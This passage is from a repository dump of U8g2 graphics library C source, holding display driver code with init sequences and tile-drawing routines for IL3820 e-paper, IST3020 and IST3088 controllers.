page = u8x8->display_info->tile_height;\n  page --;\n  page -= (((u8x8_tile_t *)arg_ptr)->y_pos);\n  \n  x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n  x *= 8;\n  x += u8x8->x_offset;\n\n  //u8x8_cad_SendCmd(u8x8, 0x011 );\t/* cursor increment mode */\n  //u8x8_cad_SendArg(u8x8, 7);\n\n  u8x8_cad_SendCmd(u8x8, 0x04f );\t/* set cursor column */\n  u8x8_cad_SendArg(u8x8, x&255);\n  u8x8_cad_SendArg(u8x8, x>>8);\n\n  u8x8_cad_SendCmd(u8x8, 0x04e );\t/* set cursor row */\n  u8x8_cad_SendArg(u8x8, page);\n\n  u8x8_cad_SendCmd(u8x8, 0x024 );\n  \n  do\n  {\n    c = ((u8x8_tile_t *)arg_ptr)->cnt;\n    ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n    do\n    {\n      u8x8_cad_SendData(u8x8, 8, u8x8_convert_tile_for_il3820(ptr));\n      ptr += 8;\n      x += 8;\n      c--;\n    } while( c > 0 );\n    \n    arg_int--;\n  } while( arg_int > 0 );\n  \n  u8x8_cad_EndTransfer(u8x8);\n}\n\n\n\nstatic const uint8_t u8x8_d_il3820_exec_1000dly_seq[] = {\n  // assumes, that the start transfer has happend\n  U8X8_CA(0x22, 0x04),\t/* display update seq. option: pattern display */\n  U8X8_C(0x20),\t/* execute sequence */\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic void u8x8_d_il3820_first_init(u8x8_t *u8x8)\n{\n      u8x8_ClearDisplay(u8x8);\n  \n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x032);\t\t// program update sequence\n      u8x8_cad_SendMultipleArg(u8x8, 8, 0x055);\t\t// all black\n      u8x8_cad_SendMultipleArg(u8x8, 12, 0x0aa);\t\t// all white\n      u8x8_cad_SendMultipleArg(u8x8, 10, 0x022);\t\t// 830ms\n      u8x8_cad_SendSequence(u8x8, u8x8_d_il3820_exec_1000dly_seq);\n  \n}\n\n#ifdef OBSOLETE\nstatic void u8x8_d_il3820_second_init(u8x8_t *u8x8)\n{\n      u8x8_ClearDisplay(u8x8);\n  \n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x032);\t\t// program update sequence\n      u8x8_cad_SendMultipleArg(u8x8, 20, 0x000);\t\t// do nothing\n      u8x8_cad_SendMultipleArg(u8x8, 10, 0x011);\t\t// 414ms dly\n      /* reuse sequence from above, ok some time is wasted here, */\n      /* delay could be lesser */\n      u8x8_cad_SendSequence(u8x8, u8x8_d_il3820_exec_1000dly_seq);  \n}\n#endif\n\n\n/*=================================================*/\n/* first version, LUT from WaveShare */\n\n\n/* http://www.waveshare.com/wiki/File:2.9inch_e-Paper_Module_code.7z */\nstatic const uint8_t u8x8_d_il3820_296x128_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_CA(0x10, 0x00),\t/* Deep Sleep mode Control: Disable */\n  U8X8_C(0x01),\n  U8X8_A(295 % 256), U8X8_A(295/256), U8X8_A(0),\n  \n  \n  U8X8_CA(0x03, 0x00), \t/* Gate Driving voltage: 15V (lowest value)*/\n  U8X8_CA(0x04, 0x0a), \t/* Source Driving voltage: 15V (mid value and POR)*/\n  \n  //U8X8_CA(0x22, 0xc0),\t/* display update seq. option: enable clk, enable CP, .... todo: this is never activated */\n\n  //U8X8_CA(0x0b, 7),\t/* Set Delay of gate and source non overlap period, POR = 7 */\n  U8X8_CA(0x2c, 0xa8),\t/* write vcom value*/\n  U8X8_CA(0x3a, 0x16),\t/* dummy lines POR=22 (0x016) */\n  U8X8_CA(0x3b, 0x08),\t/* gate time POR=0x08*/\n  U8X8_CA(0x3c, 0x33),\t/* select boarder waveform */\n  //U8X8_CA(0x22, 0xc4),\t/* display update seq. option: clk -> CP -> LUT -> initial display -> pattern display */\n\n\n  U8X8_CA(0x11, 0x07),\t/* Define data entry mode, x&y inc, x first*/\n\n  U8X8_CAA(0x44, 0, 29),\t/* RAM x start & end, issue 920: end should be (128/8)-1=15. */\n  U8X8_CAAAA(0x45, 0, 0, 295&255, 295>>8),\t/* RAM y start & end */\n  \n  //U8X8_CA(0x4e, 0),\t/* set x pos, 0..29? */\n  //U8X8_CAA(0x4f, 0, 0),\t/* set y pos, 0...320??? */\n\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const uint8_t u8x8_d_il3820_to_display_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n/*\n0x50, 0xAA, 0x55, 0xAA, 0x11, \t0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, \t0x00, 0x00, 0x00, 0x00, 0x00, \n0xFF, 0xFF, 0x1F, 0x00, 0x00, \t\t0x00, 0x00, 0x00, 0x00, 0x00\nmeasured 1582 ms\n*/\n  U8X8_C(0x32),\t/* write LUT register*/\n  /* original values */\n  U8X8_A(0x50),\n  U8X8_A(0xaa),\n  U8X8_A(0x55),\n  U8X8_A(0xaa),  \n  U8X8_A(0x11),\n  \n  U8X8_A(0x11),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),  \n  U8X8_A(0x00),\n  \n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  \n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  \n  /* Timing part of the LUT, 20 Phases with 4 bit each: 10 bytes */\n  U8X8_A(0xff),\n  U8X8_A(0xff),\n  U8X8_A(0x3f),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n\n  U8X8_CA(0x22, 0x04),\t/* display update seq. option: pattern display, assumes clk and charge pump are enabled  */\n  U8X8_C(0x20),\t/* execute sequence */\n  \n  U8X8_DLY(250),\t/* delay for 1620ms. The current sequence takes 1582ms */\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  \n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  U8X8_DLY(120),\n   \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_il3820_296x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_il3820_296x128_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_il3820_296x128_init_seq);    \n\n      u8x8_cad_SendSequence(u8x8, u8x8_d_il3820_296x128_powersave0_seq);\n      u8x8_d_il3820_first_init(u8x8);\n\n      /* usually the DISPLAY_INIT message leaves the display in power save state */\n      /* however this is not done for e-paper devices, see: */\n      /* https://github.com/olikraus/u8g2/wiki/internal#powersave-mode */\n    \n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_il3820_296x128_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_il3820_296x128_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_d_il3820_draw_tile(u8x8, arg_int, arg_ptr);\n      break;\n    case U8X8_MSG_DISPLAY_REFRESH:\n      u8x8_cad_SendSequence(u8x8, u8x8_d_il3820_to_display_seq);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*=================================================*/\n/* second version for the IL3820 display */\n\n\n/* http://www.waveshare.com/wiki/File:2.9inch_e-Paper_Module_code.7z */\nstatic const uint8_t u8x8_d_il3820_v2_296x128_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  // U8X8_CA(0x10, 0x00),\t/* Deep Sleep mode Control: POR: Normal mode */\n  U8X8_C(0x01),\n  U8X8_A(295 % 256), U8X8_A(295/256), U8X8_A(0),\n  \n  /* the driving voltagesmust not be that high, in order to aviod level change after */\n  /* some seconds (which happens with 0xea */\n  U8X8_CA(0x03, 0x75), \t/* Gate Driving voltage: +/-15V =0x00 POR (+22/-20V) = 0x0ea*/\n  U8X8_CA(0x04, 0x0a), \t/* Source Driving voltage:  (POR=0x0a=15V), max=0x0e*/\n  \n  U8X8_CA(0x0b, 7),\t/* Set Delay of gate and source non overlap period, POR = 7 */\n  U8X8_CA(0x2c, 0xa8),\t/* write vcom value*/\n  U8X8_CA(0x3a, 0x16),\t/* dummy lines POR=22 (0x016) */\n  U8X8_CA(0x3b, 0x08),\t/* gate time POR=0x08*/\n  U8X8_CA(0x3c, 0x33),\t/* select boarder waveform */\n\n  U8X8_CA(0x11, 0x07),\t/* Define data entry mode, x&y inc, x first*/\n  U8X8_CAA(0x44, 0, 29),\t/* RAM x start & end, 32*4=128 */\n  U8X8_CAAAA(0x45, 0, 0, 295&255, 295>>8),\t/* RAM y start & end, 0..295 */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const uint8_t u8x8_d_il3820_v2_to_display_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n/*\n0xaa, 0x09, 0x09, 0x19, 0x19, \n0x11, 0x11, 0x11, 0x11, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, \n\n0x75, 0x77, 0x77, 0x77, 0x07, \n0x00, 0x00, 0x00, 0x00, 0x00\nmeasured 1240 ms\n*/\n  U8X8_C(0x32),\t/* write LUT register*/\n  /* https://github.com/olikraus/u8g2/issues/347 */\n  U8X8_A(0xaa),\n  U8X8_A(0x09),\n  U8X8_A(0x09),\n  U8X8_A(0x19),  \n  U8X8_A(0x19),\n  \n  U8X8_A(0x11),\n  U8X8_A(0x11),\n  U8X8_A(0x11),\n  U8X8_A(0x11),  \n  U8X8_A(0x00),\n  \n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  \n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  \n  /* Timing part of the LUT, 20 Phases with 4 bit each: 10 bytes */\n  U8X8_A(0x75),\n  U8X8_A(0x77),\n  U8X8_A(0x77),\n  U8X8_A(0x77),\n  U8X8_A(0x07),\n  \n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  \n  U8X8_CA(0x22, 0x04),\t/* display update seq. option: pattern display */\n  U8X8_C(0x20),\t/* execute sequence */\n  \n  U8X8_DLY(250),\t/* delay for 1400ms. The current sequence takes 1240ms, it was reported, that longer delays are better */\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  \n  U8X8_DLY(250),\n  U8X8_DLY(150),\t/* extended, #318 */\n \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_il3820_v2_296x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_il3820_296x128_display_info);\n      break;    \n    case U8X8_MSG_DISPLAY_INIT:\n\n      u8x8_d_helper_display_init(u8x8);\n    \n      u8x8_cad_SendSequence(u8x8, u8x8_d_il3820_v2_296x128_init_seq);    \n\n      u8x8_cad_SendSequence(u8x8, u8x8_d_il3820_296x128_powersave0_seq);\n      u8x8_d_il3820_first_init(u8x8);\n      /* u8x8_d_il3820_second_init(u8x8); */  /* not required, u8g2.begin() will also clear the display once more */\n          \n      /* usually the DISPLAY_INIT message leaves the display in power save state */\n      /* however this is not done for e-paper devices, see: */\n      /* https://github.com/olikraus/u8g2/wiki/internal#powersave-mode */\n    \n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_il3820_296x128_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_il3820_296x128_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_d_il3820_draw_tile(u8x8, arg_int, arg_ptr);\n      break;\n    case U8X8_MSG_DISPLAY_REFRESH:\n      u8x8_cad_SendSequence(u8x8, u8x8_d_il3820_v2_to_display_seq);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ist3020.c",
    "content": "/*\n\n  u8x8_d_ist3020.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2017, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\nstatic const uint8_t u8x8_d_ist3020_erc19264_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a4),\t\t                /* all pixel off, issue 142 */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ist3020_erc19264_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ist3020_erc19264_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ist3020_erc19264_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const u8x8_display_info_t u8x8_ist3020_erc19264_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 150,\t/* IST3020 datasheet, page 56 */\n  /* pre_chip_disable_wait_ns = */ 150,\t/* IST3020 datasheet, page 56 */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 1, \n  /* sda_setup_time_ns = */ 100,\t\t/* IST3020 datasheet, page 56 */\n  /* sck_pulse_width_ns = */ 100,\t/* IST3020 datasheet, page 56 */\n  /* sck_clock_hz = */ 4000000UL,\t/* */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\t/* IST3020 datasheet, page 54 */\n  /* write_pulse_width_ns = */ 60,\t/* IST3020 datasheet, page 54 */\n  /* tile_width = */ 24,\t\t/* width of 24*8=192 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 64,\n  /* pixel_width = */ 192,\n  /* pixel_height = */ 64\n};\n\nstatic const uint8_t u8x8_d_ist3020_erc19264_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ab),            \t\t\t/* build in osc on, used in ER code, but not mentioned in data sheet */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  \n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  \n  U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c8),\t\t                /* common output mode */\n  // Flipmode\n  //U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  //U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a3),\t\t                /* FIX: LCD bias 1/7, old value was 1/9 (0x0a2) */\n  \n  U8X8_C(0x028|4),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  U8X8_C(0x028|6),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  U8X8_C(0x028|7),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  \n  U8X8_C(0x020),\t\t                /* v0 voltage resistor ratio */\n  U8X8_CA(0x081, 0x019),\t\t/* set contrast, contrast value (from ER code: 45) */\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n   \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_ist3020_erc19264(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ist3020_erc19264_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ist3020_erc19264_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ist3020_erc19264_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ist3020_erc19264_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ist3020_erc19264_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ist3020_erc19264_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int >> 2 );\t/* st7567 has range from 0 to 63 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ist3088.c",
    "content": "/*\n\n  u8x8_d_ist3088.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2019, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  IST3088: 320x240 monochrome LCD, 16 gray levels with B/W mode\n  \n  https://github.com/olikraus/u8g2/issues/1887\n  \n  CAD: 011\n  commands and arg/data are always 16 bit, MSB first\n  \n*/\n\n\n#include \"u8x8.h\"\n\n/* powersave: maybe we could go to sleep mode, see register 3 */\nstatic const uint8_t u8x8_d_ist3088_320x240_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CCAA(0x0, 0x07, 0x00, 0x01), \t\t\t// Display Control Bit 2: BW, 1: Invert, 0: Display enable\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ist3088_320x240_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CCAA(0x0, 0x07, 0x00, 0x00), \t\t\t// Display Control Bit 2: BW, 1: Invert, 0: Display enable\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ist3088_320x240_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CCAA(0x0, 0x01, 0x00, 0x00), \t\t\t// Driver Control, 1/240 Duty\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ist3088_320x240_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CCAA(0x0, 0x01, 0x00, 0x00), \t\t\t// Driver Control, 1/240 Duty\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n\n\n/*===================================================*/\n\nstatic uint8_t u8x8_d_ist3088_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  //uint16_t x;\n  int i;\n  uint8_t y;\n  uint8_t c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ist3088_320x240_display_info);\n      break;\n    */\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ist3088_320x240_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ist3088_320x240_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ist3088_320x240_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ist3088_320x240_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ist3088_320x240_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x00 );\n      u8x8_cad_SendCmd(u8x8, 0x05 );\n      u8x8_cad_SendArg(u8x8, 0 );\t\n      u8x8_cad_SendArg(u8x8, arg_int );\t\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      /*\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n    */\n\n      y = (((u8x8_tile_t *)arg_ptr)->y_pos);\n      y*=8;\n\n      u8x8_cad_StartTransfer(u8x8);\n    \n    \n        c = ((u8x8_tile_t *)arg_ptr)->cnt;\t/* number of tiles */\n        ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\t/* data ptr to the tiles */\n        for( i = 0; i < 8; i++ )\n        {\n          u8x8_cad_SendCmd(u8x8, 0x0);\n          u8x8_cad_SendCmd(u8x8, 0x8);\n          u8x8_cad_SendArg(u8x8, y); \n          u8x8_cad_SendArg(u8x8, 0 );\n\n\n          u8x8_cad_SendCmd(u8x8, 0x0);\t\t// write data \n          u8x8_cad_SendCmd(u8x8, 0x9);\t\t// write data \n          \n          \n          //c = ((u8x8_tile_t *)arg_ptr)->cnt;\t/* number of tiles */\n          u8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes, send one line of data */\n          \n          ptr += u8x8->display_info->tile_width;\n          y ++;\n        }\n\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*===================================================*/\n\n/*\n    SdCmd(0x01);                // driver control\n\tSdData(0x00); SdData(0x00); // c1-->c240 s1-->s240 duty=1/240\n    SdCmd(0x02);                // driver control\n\tSdData(0x01); SdData(0x4c);\t//0x15\n    SdCmd(0x03);                // power control\n\tSdData(0x00); SdData(0x70); // VC VR Vf=1\n    SdCmd(0x04);                // power control\n\tSdData(0x04); SdData(0x61); //0x61  //1/14b\n    SdCmd(0x05);                // CT control\n\tSdData(0x00); SdData(0x6a); // 0X76 \n    SdCmd(0x06);                // CT control\n\tSdData(0x00); SdData(0x03); \n    SdCmd(0x23);                // B/W MODE,16G NEED REMOVE\n\tSdData(0x00); SdData(0x04); //04:mono\n    SdCmd(0x28);                // OSC\n\tSdData(0x00); SdData(0x0c);\n    SdCmd(0x37);                \n  